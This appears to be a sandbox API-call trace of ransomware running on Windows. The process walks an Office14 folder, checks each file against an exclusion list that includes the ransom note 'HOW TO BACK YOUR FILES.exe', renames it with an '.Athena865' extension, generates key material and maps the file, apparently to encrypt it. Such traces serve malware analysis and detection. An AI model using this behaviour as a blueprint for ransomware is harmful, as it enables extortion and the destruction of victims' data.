lstrcmpiW (lpString1="mset7jp.kic", lpString2=".dll") returned 1 [0076.777] lstrlenW (lpString=".lnk") returned 4 [0076.777] lstrcmpiW (lpString1="mset7jp.kic", lpString2=".lnk") returned 1 [0076.777] lstrlenW (lpString=".ini") returned 4 [0076.777] lstrcmpiW (lpString1="mset7jp.kic", lpString2=".ini") returned 1 [0076.777] lstrlenW (lpString=".sys") returned 4 [0076.777] lstrcmpiW (lpString1="mset7jp.kic", lpString2=".sys") returned 1 [0076.777] lstrlenW (lpString="mset7jp.kic") returned 11 [0076.777] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\mset7jp.kic.Athena865") returned 64 [0076.777] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\mset7jp.kic" (normalized: "c:\\program files\\microsoft office\\office14\\mset7jp.kic"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\mset7jp.kic.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\mset7jp.kic.athena865"), dwFlags=0x1) returned 1 [0076.779] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\mset7jp.kic.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\mset7jp.kic.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0076.779] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=1942940) returned 1 [0076.779] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0076.779] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0076.779] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519090 [0076.779] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519008) returned 1 [0076.780] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0076.780] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0076.780] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1da8a0, lpName=0x0) returned 0x17c [0076.782] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1da8a0) returned 0x2d50000 [0076.847] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519008) returned 1 [0076.848] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0076.848] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0076.848] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539248 [0076.848] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539248 | out: hHeap=0x4f0000) returned 1 [0076.848] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0076.848] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0076.848] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0076.848] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0076.848] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0076.848] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0076.849] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0076.849] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0076.849] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0076.865] CloseHandle (hObject=0x17c) returned 1 [0076.865] CloseHandle (hObject=0x154) returned 1 [0076.865] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0076.865] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519090 | out: hHeap=0x4f0000) returned 1 [0076.865] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0076.873] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x52ee1a00, ftCreationTime.dwHighDateTime=0x1cacf36, ftLastAccessTime.dwLowDateTime=0x58c7d970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x52ee1a00, ftLastWriteTime.dwHighDateTime=0x1cacf36, nFileSizeHigh=0x0, nFileSizeLow=0x81988, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="mset7tk.dll", cAlternateFileName="")) returned 1 [0076.873] lstrcmpiW (lpString1="mset7tk.dll", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0076.873] lstrcmpiW (lpString1="mset7tk.dll", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0076.873] lstrcmpiW (lpString1="mset7tk.dll", lpString2=".") returned 1 [0076.873] lstrcmpiW (lpString1="mset7tk.dll", lpString2="..") returned 1 [0076.874] lstrcmpiW (lpString1="mset7tk.dll", lpString2="windows") returned -1 [0076.874] lstrcmpiW (lpString1="mset7tk.dll", lpString2="bootmgr") returned 1 [0076.874] lstrcmpiW (lpString1="mset7tk.dll", lpString2="temp") returned -1 [0076.874] lstrcmpiW (lpString1="mset7tk.dll", lpString2="pagefile.sys") returned -1 [0076.874] lstrcmpiW (lpString1="mset7tk.dll", lpString2="boot") returned 1 [0076.874] lstrcmpiW (lpString1="mset7tk.dll", lpString2="ids.txt") returned 1 [0076.874] lstrcmpiW (lpString1="mset7tk.dll", lpString2="ntuser.dat") returned -1 [0076.874] lstrcmpiW (lpString1="mset7tk.dll", lpString2="perflogs") returned -1 [0076.874] lstrcmpiW (lpString1="mset7tk.dll", lpString2="MSBuild") returned 1 [0076.874] lstrlenW (lpString="mset7tk.dll") returned 11 [0076.874] lstrcpyW (in: lpString1=0x241e89e, lpString2="mset7tk.dll" | out: lpString1="mset7tk.dll") returned="mset7tk.dll" [0076.874] lstrlenW (lpString="mset7tk.dll") returned 11 [0076.874] lstrlenW (lpString="Athena865") returned 9 [0076.874] lstrcmpiW (lpString1="et7tk.dll", lpString2="Athena865") returned 1 [0076.874] lstrlenW (lpString=".dll") returned 4 [0076.874] lstrcmpiW (lpString1="mset7tk.dll", lpString2=".dll") returned 1 [0076.874] lstrlenW (lpString=".lnk") returned 4 [0076.874] lstrcmpiW (lpString1="mset7tk.dll", lpString2=".lnk") returned 1 [0076.874] lstrlenW (lpString=".ini") returned 4 [0076.874] lstrcmpiW (lpString1="mset7tk.dll", lpString2=".ini") returned 1 [0076.874] lstrlenW (lpString=".sys") returned 4 [0076.874] lstrcmpiW (lpString1="mset7tk.dll", lpString2=".sys") returned 1 [0076.874] lstrlenW (lpString="mset7tk.dll") returned 11 [0076.874] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\mset7tk.dll.Athena865") returned 64 [0076.874] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\mset7tk.dll" (normalized: "c:\\program files\\microsoft office\\office14\\mset7tk.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\mset7tk.dll.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\mset7tk.dll.athena865"), dwFlags=0x1) returned 1 [0076.876] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\mset7tk.dll.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\mset7tk.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0076.876] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=530824) returned 1 [0076.876] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0076.876] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0076.876] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519090 [0076.876] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519008) returned 1 [0076.877] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0076.877] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0076.877] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x81c90, lpName=0x0) returned 0x17c [0076.880] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x81c90) returned 0x2d50000 [0076.903] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519008) returned 1 [0076.904] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0076.904] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0076.904] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539248 [0076.904] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539248 | out: hHeap=0x4f0000) returned 1 [0076.904] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0076.904] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0076.904] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0076.904] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0076.904] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0076.904] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0076.905] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0076.905] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0076.905] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0076.909] CloseHandle (hObject=0x17c) returned 1 [0076.909] CloseHandle (hObject=0x154) returned 1 [0076.909] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0076.909] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519090 | out: hHeap=0x4f0000) returned 1 [0076.909] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0076.912] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5ed9dc00, ftCreationTime.dwHighDateTime=0x1cacf36, ftLastAccessTime.dwLowDateTime=0x69e3bb70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5ed9dc00, ftLastWriteTime.dwHighDateTime=0x1cacf36, nFileSizeHigh=0x0, nFileSizeLow=0x10f798, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="mset7tkjp.dll", cAlternateFileName="MSET7T~1.DLL")) returned 1 [0076.912] lstrcmpiW (lpString1="mset7tkjp.dll", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0076.912] lstrcmpiW (lpString1="mset7tkjp.dll", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0076.912] lstrcmpiW (lpString1="mset7tkjp.dll", lpString2=".") returned 1 [0076.912] lstrcmpiW (lpString1="mset7tkjp.dll", lpString2="..") returned 1 [0076.912] lstrcmpiW (lpString1="mset7tkjp.dll", lpString2="windows") returned -1 [0076.912] lstrcmpiW (lpString1="mset7tkjp.dll", lpString2="bootmgr") returned 1 [0076.912] lstrcmpiW (lpString1="mset7tkjp.dll", lpString2="temp") returned -1 [0076.912] lstrcmpiW (lpString1="mset7tkjp.dll", lpString2="pagefile.sys") returned -1 [0076.912] lstrcmpiW (lpString1="mset7tkjp.dll", lpString2="boot") returned 1 [0076.912] lstrcmpiW (lpString1="mset7tkjp.dll", lpString2="ids.txt") returned 1 [0076.912] lstrcmpiW (lpString1="mset7tkjp.dll", lpString2="ntuser.dat") returned -1 [0076.912] lstrcmpiW (lpString1="mset7tkjp.dll", lpString2="perflogs") returned -1 [0076.912] lstrcmpiW (lpString1="mset7tkjp.dll", lpString2="MSBuild") returned 1 [0076.912] lstrlenW (lpString="mset7tkjp.dll") returned 13 [0076.912] lstrcpyW (in: lpString1=0x241e89e, lpString2="mset7tkjp.dll" | out: lpString1="mset7tkjp.dll") returned="mset7tkjp.dll" [0076.912] lstrlenW (lpString="mset7tkjp.dll") returned 13 [0076.912] lstrlenW (lpString="Athena865") returned 9 [0076.912] lstrcmpiW (lpString1="7tkjp.dll", lpString2="Athena865") returned -1 [0076.912] lstrlenW (lpString=".dll") returned 4 [0076.912] lstrcmpiW (lpString1="mset7tkjp.dll", lpString2=".dll") returned 1 [0076.912] lstrlenW (lpString=".lnk") returned 4 [0076.912] lstrcmpiW (lpString1="mset7tkjp.dll", lpString2=".lnk") returned 1 [0076.912] lstrlenW (lpString=".ini") returned 4 [0076.912] lstrcmpiW (lpString1="mset7tkjp.dll", lpString2=".ini") returned 1 [0076.912] lstrlenW (lpString=".sys") returned 4 [0076.912] lstrcmpiW (lpString1="mset7tkjp.dll", lpString2=".sys") returned 1 [0076.912] lstrlenW (lpString="mset7tkjp.dll") returned 13 [0076.912] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\mset7tkjp.dll.Athena865") returned 66 [0076.913] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\mset7tkjp.dll" (normalized: "c:\\program files\\microsoft office\\office14\\mset7tkjp.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\mset7tkjp.dll.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\mset7tkjp.dll.athena865"), dwFlags=0x1) returned 1 [0076.914] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\mset7tkjp.dll.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\mset7tkjp.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0076.914] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=1111960) returned 1 [0076.914] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0076.915] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0076.915] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519090 [0076.915] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519008) returned 1 [0076.915] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0076.915] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0076.916] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x10faa0, lpName=0x0) returned 0x17c [0076.917] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x10faa0) returned 0x2d50000 [0076.955] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519008) returned 1 [0076.956] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0076.956] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0076.956] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539248 [0076.956] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539248 | out: hHeap=0x4f0000) returned 1 [0076.956] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0076.956] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0076.956] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0076.956] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0076.956] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0076.956] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0076.956] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0076.956] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0076.957] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0076.999] CloseHandle (hObject=0x17c) returned 1 [0076.999] CloseHandle (hObject=0x154) returned 1 [0076.999] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0076.999] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519090 | out: hHeap=0x4f0000) returned 1 [0076.999] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0077.004] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9ab61d00, ftCreationTime.dwHighDateTime=0x1bf9d1a, ftLastAccessTime.dwLowDateTime=0x58c7d970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9ab61d00, ftLastWriteTime.dwHighDateTime=0x1bf9d1a, nFileSizeHigh=0x0, nFileSizeLow=0xe36, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSN.ICO", cAlternateFileName="")) returned 1 [0077.004] lstrcmpiW (lpString1="MSN.ICO", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0077.004] lstrcmpiW (lpString1="MSN.ICO", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0077.004] lstrcmpiW (lpString1="MSN.ICO", lpString2=".") returned 1 [0077.004] lstrcmpiW (lpString1="MSN.ICO", lpString2="..") returned 1 [0077.004] lstrcmpiW (lpString1="MSN.ICO", lpString2="windows") returned -1 [0077.004] lstrcmpiW (lpString1="MSN.ICO", lpString2="bootmgr") returned 1 [0077.004] lstrcmpiW (lpString1="MSN.ICO", lpString2="temp") returned -1 [0077.004] lstrcmpiW (lpString1="MSN.ICO", lpString2="pagefile.sys") returned -1 [0077.004] lstrcmpiW (lpString1="MSN.ICO", lpString2="boot") returned 1 [0077.004] lstrcmpiW (lpString1="MSN.ICO", lpString2="ids.txt") returned 1 [0077.004] lstrcmpiW (lpString1="MSN.ICO", lpString2="ntuser.dat") returned -1 [0077.004] lstrcmpiW (lpString1="MSN.ICO", lpString2="perflogs") returned -1 [0077.004] lstrcmpiW (lpString1="MSN.ICO", lpString2="MSBuild") returned 1 [0077.004] lstrlenW (lpString="MSN.ICO") returned 7 [0077.004] lstrcpyW (in: lpString1=0x241e89e, lpString2="MSN.ICO" | out: lpString1="MSN.ICO") returned="MSN.ICO" [0077.004] lstrlenW (lpString="MSN.ICO") returned 7 [0077.004] lstrlenW (lpString="Athena865") returned 9 [0077.005] lstrlenW (lpString=".dll") returned 4 [0077.005] lstrcmpiW (lpString1="MSN.ICO", lpString2=".dll") returned 1 [0077.005] lstrlenW (lpString=".lnk") returned 4 [0077.005] lstrcmpiW (lpString1="MSN.ICO", lpString2=".lnk") returned 1 [0077.005] lstrlenW (lpString=".ini") returned 4 [0077.005] lstrcmpiW (lpString1="MSN.ICO", lpString2=".ini") returned 1 [0077.005] lstrlenW (lpString=".sys") returned 4 [0077.005] lstrcmpiW (lpString1="MSN.ICO", lpString2=".sys") returned 1 [0077.005] lstrlenW (lpString="MSN.ICO") returned 7 [0077.005] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\MSN.ICO.Athena865") returned 60 [0077.005] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\MSN.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\msn.ico"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\MSN.ICO.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\msn.ico.athena865"), dwFlags=0x1) returned 1 [0077.006] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\MSN.ICO.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\msn.ico.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0077.006] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=3638) returned 1 [0077.006] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0077.007] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0077.007] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519090 [0077.007] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519008) returned 1 [0077.008] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0077.008] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0077.008] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1140, lpName=0x0) returned 0x17c [0077.015] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1140) returned 0x100000 [0077.020] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519008) returned 1 [0077.021] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0077.021] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0077.021] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539248 [0077.021] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539248 | out: hHeap=0x4f0000) returned 1 [0077.021] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0077.021] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0077.021] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0077.021] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0077.021] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0077.021] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0077.021] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0077.021] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0077.022] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0077.022] CloseHandle (hObject=0x17c) returned 1 [0077.022] CloseHandle (hObject=0x154) returned 1 [0077.022] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0077.022] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519090 | out: hHeap=0x4f0000) returned 1 [0077.022] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0077.022] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb4306b00, ftCreationTime.dwHighDateTime=0x1ca223a, ftLastAccessTime.dwLowDateTime=0x58c7d970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb4306b00, ftLastWriteTime.dwHighDateTime=0x1ca223a, nFileSizeHigh=0x0, nFileSizeLow=0x3392, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSO0127.ACL", cAlternateFileName="")) returned 1 [0077.022] lstrcmpiW (lpString1="MSO0127.ACL", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0077.022] lstrcmpiW (lpString1="MSO0127.ACL", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0077.022] lstrcmpiW (lpString1="MSO0127.ACL", lpString2=".") returned 1 [0077.022] lstrcmpiW (lpString1="MSO0127.ACL", lpString2="..") returned 1 [0077.022] lstrcmpiW (lpString1="MSO0127.ACL", lpString2="windows") returned -1 [0077.022] lstrcmpiW (lpString1="MSO0127.ACL", lpString2="bootmgr") returned 1 [0077.022] lstrcmpiW (lpString1="MSO0127.ACL", lpString2="temp") returned -1 [0077.022] lstrcmpiW (lpString1="MSO0127.ACL", lpString2="pagefile.sys") returned -1 [0077.022] lstrcmpiW (lpString1="MSO0127.ACL", lpString2="boot") returned 1 [0077.022] lstrcmpiW (lpString1="MSO0127.ACL", lpString2="ids.txt") returned 1 [0077.022] lstrcmpiW (lpString1="MSO0127.ACL", lpString2="ntuser.dat") returned -1 [0077.022] lstrcmpiW (lpString1="MSO0127.ACL", lpString2="perflogs") returned -1 [0077.022] lstrcmpiW (lpString1="MSO0127.ACL", lpString2="MSBuild") returned 1 [0077.022] lstrlenW (lpString="MSO0127.ACL") returned 11 [0077.023] lstrcpyW (in: lpString1=0x241e89e, lpString2="MSO0127.ACL" | out: lpString1="MSO0127.ACL") returned="MSO0127.ACL" [0077.023] lstrlenW (lpString="MSO0127.ACL") returned 11 [0077.023] lstrlenW (lpString="Athena865") returned 9 [0077.023] lstrcmpiW (lpString1="O0127.ACL", lpString2="Athena865") returned 1 [0077.023] lstrlenW (lpString=".dll") returned 4 [0077.023] lstrcmpiW (lpString1="MSO0127.ACL", lpString2=".dll") returned 1 [0077.023] lstrlenW (lpString=".lnk") returned 4 [0077.023] lstrcmpiW (lpString1="MSO0127.ACL", lpString2=".lnk") returned 1 [0077.023] lstrlenW (lpString=".ini") returned 4 [0077.023] lstrcmpiW (lpString1="MSO0127.ACL", lpString2=".ini") returned 1 [0077.023] lstrlenW (lpString=".sys") returned 4 [0077.023] lstrcmpiW (lpString1="MSO0127.ACL", lpString2=".sys") returned 1 [0077.023] lstrlenW (lpString="MSO0127.ACL") returned 11 [0077.023] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\MSO0127.ACL.Athena865") returned 